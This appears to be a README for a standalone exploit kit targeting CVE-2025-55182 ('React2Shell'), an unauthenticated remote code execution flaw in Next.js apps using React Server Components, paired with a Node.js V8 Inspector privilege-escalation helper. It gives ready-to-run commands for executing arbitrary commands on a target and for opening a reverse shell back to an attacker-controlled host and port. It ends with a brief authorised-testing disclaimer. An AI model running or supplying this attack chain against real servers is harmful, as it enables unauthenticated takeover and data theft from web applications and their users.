## https://sploitus.com/exploit?id=BC8085B0-792D-5B79-97B0-6BAEB2371FD0
# CVE-2025-55182 - React2Shell (CVE-2025-55182) unauthenticated RCE via React Server Components Flight deserialization
Standalone exploit for CVE-2025-55182 in Next.js App Router apps that enable React Server Components. Crafted RSC Flight payloads to the server-action endpoint give unauthenticated remote code execution. Ships a Node.js V8 Inspector (debug-port) local privilege-escalation helper that runs code in a privileged process via a process.mainModule.require sandbox bypass.
**CVE:** CVE-2025-55182
## Requirements
```bash
python3 -m pip install requests # for the Python PoC(s)
```
## Usage
### `cdp_privesc.py`
```bash
python3 cdp_privesc.py
```
### `react2shell-poc.py` (RSC RCE — vendored, see Credits)
```bash
python3 react2shell-poc.py -t http://TARGET:3000 -c "id" # error-based command exfil
python3 react2shell-poc.py -t http://TARGET:3000 --revshell --lhost LHOST --lport 4444
```
## References
- https://github.com/p3ta00/react2shell-poc
- https://www.tenable.com/blog/react2shell-cve-2025-55182-react-server-components-rce
## Credits
`react2shell-poc.py` is p3ta00's public CVE-2025-55182 PoC, vendored unchanged
from for a self-contained chain.
`cdp_privesc.py` (the Node.js V8 Inspector local privesc) is original.
## Disclaimer
For authorised security testing and education only. Only run this against
systems you own or have **explicit written permission** to test.
---
Author: **r3vpwnx**